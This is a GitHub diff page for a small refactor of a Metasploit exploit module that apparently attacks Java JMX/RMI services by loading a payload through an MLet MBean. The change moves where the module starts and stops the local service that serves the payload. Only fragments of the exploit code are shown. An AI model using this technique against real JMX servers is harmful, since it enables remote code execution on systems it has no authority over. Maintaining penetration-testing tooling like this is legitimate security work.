File tree Expand file tree Collapse file tree 1 file changed +5
-6
lines changed
modules/exploits/multi/misc Expand file tree Collapse file tree 1 file changed +5
-6
lines changed Original file line number Diff line number Diff line change @@ -120,6 +120,9 @@ def check
120
120
end
121
121
122
122
def exploit
123
+ vprint_status ( "Starting service..." )
124
+ start_service
125
+
123
126
@mlet = "MLet#{ rand_text_alpha ( 8 + rand ( 4 ) ) . capitalize } "
124
127
connect
125
128
@@ -165,6 +168,8 @@ def exploit
165
168
method : 'run'
166
169
)
167
170
disconnect
171
+ vprint_status ( "Stopping service..." )
172
+ stop_service
168
173
end
169
174
170
175
def is_rmi?
@@ -242,9 +247,6 @@ def load_payload(conn_stub)
242
247
end
243
248
244
249
def load_payload_from_url ( conn_stub )
245
- vprint_status ( "Starting service..." )
246
- start_service
247
-
248
250
vprint_status ( "#{ peer } - Creating javax.management.loading.MLet MBean..." )
249
251
250
252
begin
@@ -308,9 +310,6 @@ def load_payload_from_url(conn_stub)
308
310
rescue ::Rex ::Proto ::Rmi ::Exception => e
309
311
vprint_error ( "#{ peer } - invoke() returned unexpected exception: #{ e . message } " )
310
312
return false
311
- ensure
312
- vprint_status ( "Stopping service..." )
313
- stop_service
314
313
end
315
314
316
315
if res . nil?
You can’t perform that action at this time.
0 commit comments